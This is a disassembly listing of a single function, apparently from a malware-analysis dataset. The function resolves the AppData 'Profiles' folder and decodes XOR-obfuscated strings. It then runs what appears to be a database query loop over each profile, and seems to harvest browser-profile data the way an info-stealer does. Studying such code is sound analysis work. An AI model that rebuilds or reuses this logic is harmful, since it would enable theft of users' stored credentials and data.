Function at 0x421048
Capabilities:
Get common file path
Get startup folder

Disassembly:
mov eax, 0x469e92
call fcn.00468300
sub esp, 0x464
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x470]
mov dword [ebp - 4], esi
push eax
push esi
push esi
push 0x1a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor eax, eax
mov dword [ebp - 0xe0], esi
mov word [ebp - 0xe0], ax
lea ecx, [ebp - 0xe0]
lea eax, [ebp - 0x470]
mov dword [ebp - 0xd0], esi
push eax
mov dword [ebp - 0xcc], 7
call fcn.00413c78
lea eax, [ebp + 8]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0xe0]
call fcn.00413d45
push 8
push str.Profiles
lea ecx, [ebp - 0xe0]
call fcn.004130d3
push ecx
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0xc8]
call fcn.0041453e
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 2
call fcn.0040c8bb
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 1
mov bl, al
call fcn.00413c2d
test bl, bl
je 0x421742
push ecx
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0xc8]
call fcn.0041453e
lea eax, [ebp - 0xc8]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x80]
call fcn.0040c515
lea ecx, [ebp - 0xc8]
call fcn.00413c2d
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040d0e9
mov edi, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x68], esi
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0x110]
call fcn.0040d0e9
mov ecx, dword [ebp - 0x10c]
xor ebx, ebx
xorps xmm0, xmm0
mov eax, ebx
movlpd qword [ebp - 0x48], xmm0
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ebx
test ecx, ecx
je 0x421184
call fcn.0040aecf
mov eax, ebx
mov byte [ebp - 4], 7
cmp edi, eax
je 0x42172b
add edi, 0x20
mov byte [ebp - 4], 8
mov ecx, edi
call fcn.0040c8bb
test al, al
je 0x42170e
mov esi, dword [0x48cc40]
lea eax, [ebp - 0x98]
push ecx
push eax
mov ecx, edi
call fcn.00414478
or dword [ebp - 0x1c], 1
mov byte [ebp - 4], 9
lea eax, [ebp - 0x98]
cmp dword [ebp - 0x84], 0x10
cmovae eax, dword [ebp - 0x98]
push eax
call esi
pop ecx
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 8
mov esi, eax
call fcn.00413e0b
test esi, esi
jne 0x42170e
movaps xmm0, xmmword [0x47dfc0]
mov edx, ebx
movups xmmword [ebp - 0x108], xmm0
mov cl, byte [ebp - 0x108]
not cl
xor cl, byte [ebp + edx - 0x107]
mov byte [ebp + edx - 0x107], cl
inc edx
cmp edx, 0xe
jb 0x421204
push ecx
lea eax, [ebp - 0x128]
mov byte [ebp - 0xf9], bl
push eax
mov ecx, edi
call fcn.00414478
mov esi, dword [ebp - 0x1c]
or esi, 8
mov dword [ebp - 0x1c], esi
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x128]
cmp dword [ebp - 0x114], 0x10
lea edx, [ebp - 0x107]
cmovae ecx, dword [ebp - 0x128]
call fcn.00435a97
mov byte [ebp - 0x70], bl
lea edx, [ebp - 0x40]
push dword [ebp - 0x70]
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x40], eax
call fcn.0041aa18
pop ecx
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0xb
call fcn.0040c85f
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 0x11], al
call fcn.00413c2d
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 8
call fcn.00413e0b
cmp byte [ebp - 0x11], 0
je 0x4216e7
movaps xmm0, xmmword [0x47df80]
mov edx, ebx
movups xmmword [ebp - 0x5c], xmm0
mov cl, byte [ebp - 0x5c]
not cl
xor cl, byte [ebp + edx - 0x5b]
mov byte [ebp + edx - 0x5b], cl
inc edx
cmp edx, 0xe
jb 0x4212bc
push ecx
lea eax, [ebp - 0xf8]
mov byte [ebp - 0x4d], bl
push eax
mov ecx, edi
call fcn.00414478
or esi, 0x100
mov dword [ebp - 0x1c], esi
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xf8]
cmp dword [ebp - 0xe4], 0x10
lea edx, [ebp - 0x5b]
cmovae ecx, dword [ebp - 0xf8]
call fcn.00435a97
mov dword [ebp - 0x98], ebx
lea ecx, [ebp - 0x98]
push eax
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], bl
call fcn.00413e6c
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0xe
call fcn.00413e0b
push 9
pop edx
lea ecx, [ebp - 0xc8]
call fcn.00435ec5
mov byte [ebp - 4], 0xf
lea esi, [ebp - 0xc8]
cmp dword [ebp - 0xb4], 0x10
cmovae esi, dword [ebp - 0xc8]
call fcn.00435f38
mov edx, esi
mov ecx, eax
call fcn.00435a97
mov dword [ebp - 0xb0], ebx
lea ecx, [ebp - 0xb0]
push eax
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], 0xf
mov byte [ebp - 0xb0], bl
call fcn.00413e6c
mov byte [ebp - 0x74], bl
lea edx, [ebp - 0xb0]
push dword [ebp - 0x74]
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x10
call fcn.00415604
pop ecx
mov byte [ebp - 0x78], bl
lea edx, [ebp - 0x98]
push dword [ebp - 0x78]
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x11
call fcn.00415604
pop ecx
lea edx, [ebp - 0x64]
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xf8]
call fcn.0040c82d
lea ecx, [ebp - 0xf8]
call fcn.00413c2d
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x10
call fcn.00413c2d
cmp dword [ebp - 0x9c], 0x10
lea edx, [ebp - 0x4c]
mov ecx, dword [0x48cc34]
lea eax, [ebp - 0xb0]
cmovae eax, dword [ebp - 0xb0]
push edx
push eax
call ecx
pop ecx
pop ecx
test eax, eax
jne 0x4216c2
movaps xmm0, xmmword [0x47e8c0]
mov edx, ebx
movups xmmword [ebp - 0x192], xmm0
mov dword [ebp - 0x132], 0xe3f9e2f8
movaps xmm0, xmmword [0x47e890]
movups xmmword [ebp - 0x182], xmm0
mov dword [ebp - 0x12e], 0xb7a9abb7
movaps xmm0, xmmword [0x47e990]
movups xmmword [ebp - 0x172], xmm0
mov word [ebp - 0x12a], 0xa7
movaps xmm0, xmmword [0x47e720]
movups xmmword [ebp - 0x162], xmm0
movaps xmm0, xmmword [0x47e730]
movups xmmword [ebp - 0x152], xmm0
movaps xmm0, xmmword [0x47e960]
movups xmmword [ebp - 0x142], xmm0
mov cl, byte [ebp - 0x192]
not cl
xor byte [ebp + edx - 0x191], cl
inc edx
cmp edx, 0x68
jb 0x421499
mov eax, dword [0x48cc44]
lea ecx, [ebp - 0x20]
push ebx
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x191]
mov byte [ebp - 0x129], bl
push ecx
push dword [ebp - 0x4c]
call eax
add esp, 0x14
test eax, eax
jne 0x4216a3
push dword [ebp - 0x20]
mov eax, dword [0x48cc38]
call eax
pop ecx
cmp eax, 0x64
jne 0x4216a3
mov eax, dword [0x48cc58]
push ebx
push dword [ebp - 0x20]
call eax
pop ecx
pop ecx
push 1
push dword [ebp - 0x20]
mov esi, eax
mov eax, dword [0x48cc58]
call eax
pop ecx
pop ecx
push 2
push dword [ebp - 0x20]
mov edi, eax
mov eax, dword [0x48cc58]
call eax
pop ecx
pop ecx
push ecx
lea ecx, [ebp - 0x268]
mov dword [ebp - 0x40], eax
call fcn.004124bc
mov byte [ebp - 4], 0x13
mov edx, ebx
movaps xmm0, xmmword [0x47e6a0]
movups xmmword [ebp - 0x5e], xmm0
mov word [ebp - 0x4e], 0xa4
mov cl, byte [ebp - 0x5e]
not cl
xor byte [ebp + edx - 0x5d], cl
inc edx
cmp edx, 0x10
jb 0x42153e
mov byte [ebp - 0x4d], bl
call fcn.00435f38
lea edx, [ebp - 0x5d]
mov ecx, eax
call fcn.00435a97
push ecx
push 0xa
push eax
lea ecx, [ebp - 0x268]
call fcn.0041242f
mov cl, 0x57
mov dword [ebp - 0x18], 0xe4fafd57
mov word [ebp - 0x14], 0x8892
mov edx, ebx
mov byte [ebp - 0x12], bl
not cl
xor byte [ebp + edx - 0x17], cl
inc edx
cmp edx, 5
jae 0x421593
mov cl, byte [ebp - 0x18]
jmp 0x421582
lea edx, [ebp - 0x17]
mov byte [ebp - 0x12], bl
mov ecx, 0x479c6b
call fcn.00435a97
mov edx, esi
mov ecx, eax
call fcn.00435a97
mov esi, eax
mov dword [ebp - 0x2a], 0xf8d49d68
mov cl, 0x68
mov dword [ebp - 0x26], 0xade3f9e2
mov word [ebp - 0x22], 0xb7
mov edx, ebx
not cl
xor byte [ebp + edx - 0x29], cl
inc edx
cmp edx, 8
jae 0x4215d7
mov cl, byte [ebp - 0x2a]
jmp 0x4215c6
lea edx, [ebp - 0x29]
mov byte [ebp - 0x21], bl
mov ecx, esi
call fcn.00435a97
mov edx, edi
mov ecx, eax
call fcn.00435a97
mov esi, eax
mov dword [ebp - 0x39], 0xfed39560
mov cl, 0x60
mov dword [ebp - 0x35], 0xe9bfebec
mov dword [ebp - 0x31], 0xebf6ecf6
mov edx, ebx
mov word [ebp - 0x2d], 0xbfa5
mov byte [ebp - 0x2b], bl
not cl
xor byte [ebp + edx - 0x38], cl
inc edx
cmp edx, 0xd
jae 0x421622
mov cl, byte [ebp - 0x39]
jmp 0x421611
lea edx, [ebp - 0x38]
mov byte [ebp - 0x2b], bl
mov ecx, esi
call fcn.00435a97
mov edx, dword [ebp - 0x40]
mov ecx, eax
call fcn.00435a97
push 0x488888
mov edx, 0x488888
lea ecx, [ebp - 0xf8]
mov esi, eax
call fcn.004147a1
pop ecx
mov byte [ebp - 4], 0x14
cmp dword [eax + 0x14], 0x10
jb 0x42165d
mov eax, dword [eax]
mov edx, eax
mov ecx, esi
call fcn.00435a97
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x13
mov esi, eax
call fcn.00413e0b
mov edx, esi
lea ecx, [ebp - 0x268]
call fcn.00414875
lea ecx, [ebp - 0x268]
call fcn.00412409
lea ecx, [ebp - 0x268]
mov byte [ebp - 4], 0x10
call fcn.0041143f
jmp 0x4214d7
push dword [ebp - 0x20]
call dword [0x48cc64]
pop ecx
push dword [ebp - 0x4c]
call dword [0x48cc54]
pop ecx
lea ecx, [ebp - 0xb0]
call fcn.0040c96c
lea ecx, [ebp - 0xb0]
call fcn.00413e0b
lea ecx, [ebp - 0xc8]
call fcn.00413e0b
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 8
call fcn.00413e0b
call dword [0x48cc5c]
jmp 0x42170e
lea ecx, [ebp - 0x6c]
mov dword [ebp - 4], 7
call fcn.0040c562
mov esi, dword [ebp - 0x68]
mov edi, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x48]
jmp 0x421188
test esi, esi
je 0x421736
mov ecx, esi
call fcn.0040aecf
mov ecx, dword [ebp - 0x7c]
test ecx, ecx
je 0x421742
call fcn.0040aecf
lea ecx, [ebp - 0xe0]
call fcn.00413c2d
lea ecx, [ebp + 8]
call fcn.00413c2d
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret